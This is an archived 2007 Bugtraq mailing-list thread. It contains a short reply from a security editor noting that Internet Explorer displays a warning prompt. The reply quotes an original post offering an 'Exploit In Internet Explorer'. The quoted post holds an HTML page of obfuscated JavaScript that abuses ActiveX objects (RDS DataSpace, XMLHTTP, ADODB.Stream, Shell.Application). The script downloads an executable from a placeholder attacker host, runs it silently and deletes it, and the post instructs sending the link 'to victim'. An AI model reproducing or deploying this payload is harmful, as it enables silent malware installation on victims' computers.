Hosting Provided By

RE: Exploit In Internet Explorer

From: Larry Seltzer <Larry(at)larryseltzer.com>
Date: Mon Jul 30 2007 - 17:55:54 EDT

I get the browser warning bar: "This web site wants to run the following add-on: 'Microsoft Data Access - Remote Data Services Dat...' from 'Microsoft Corporation'. If you trust the web site and the add-on and want to allow it to run, click here..."

Looks like a message to me.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blogs.eweek.com/cheap_hack/
Contributing Editor, PC Magazine
larryseltzer@ziffdavis.com

-----Original Message-----
From: RaeD@BsdMail.Com [mailto:RaeD@BsdMail.Com] Sent: Sunday, July 29, 2007 4:58 AM
To: bugtraq@securityfocus.com
Subject: Exploit In Internet Explorer

Discovred By : Hasadya Raed
Contact : RaeD@BsdMail.Com - Israel

Now You Can To Download Exe Files And To Run Without Msgs :

Exploit :

<html>
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://www.Attacker.com/sever.exe"; dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,4 4,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + exe +

sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,10
0,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,1
14,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,1
16,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,5
9,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,10
5,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105

,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,5

1,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,6 1,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101
,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,7
6,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32
,108,110,61,34,65,100,111,34,59,118,97,114,32,1

08,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,1
01,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,10
0,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,1
22,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,4
6,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,

120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,5 9,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,4 6,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,

66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40

,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97
,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,9

8,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,11
6,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,10

8,69,120,101,99,117,116,101,40,122,104,97,110,44,34,3

4,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,8
3,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,
32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,1

10,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40
,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
;By Fox TeaM
</script>
</html>

Save As Html File , And Send The Link To Victim

By Hasadya Raed - Israel Received on Mon Jul 30 18:46:23 2007

Do you need help?

This message: [ Message body ]
Next message: Nick FitzGerald: "Re: Exploit In Internet Explorer"
Previous message: paraw: "Re: Exploit In Internet Explorer"
In reply to: RaeD(at)BsdMail.Com: "Exploit In Internet Explorer"
Next in thread: Nick FitzGerald: "Re: Exploit In Internet Explorer"

Contemporary messages sorted: [ By Date ] [ By Thread ] [ By Subject ] [ By Author ] [ By messages with attachments ]

This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:10:32 EDT